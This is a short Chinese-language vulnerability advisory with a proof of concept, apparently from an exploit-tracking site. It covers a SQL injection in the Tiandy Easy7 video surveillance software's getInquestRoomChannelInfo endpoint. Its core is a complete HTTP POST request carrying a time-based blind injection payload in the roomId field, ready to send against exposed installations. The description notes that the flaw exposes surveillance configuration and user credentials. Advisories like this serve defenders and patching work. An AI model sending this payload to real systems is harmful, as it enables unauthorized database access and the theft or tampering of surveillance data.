天地伟业Easy7 /Easy7/rest/inquestRoom/getInquestRoomChannelInfo SQL 注入漏洞

2026-05-09 天地伟业Easy7 PoC Public

Description

天地伟业Easy7是一款视频监控管理软件系统。其/Easy7/rest/inquestRoom/getInquestRoomChannelInfo接口因未对用户输入进行充分过滤，存在SQL注入漏洞。攻击者可通过构造恶意请求执行任意SQL语句，可能导致数据库中的敏感信息（如监控配置、用户凭证等）被窃取，或对数据库进行非法篡改，进而影响视频监控系统的正常运行和数据完整性。

PoC

POST /Easy7/rest/inquestRoom/getInquestRoomChannelInfo HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip

roomId=' AND (SELECT 4741 FROM (SELECT(SLEEP(4)))SmPB)-- OuaM

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Tiandy Easy7 /Easy7/rest/inquestRoom/getInquestRoomChannelInfo SQL Injection Vulnerability

References

Related Vulnerabilities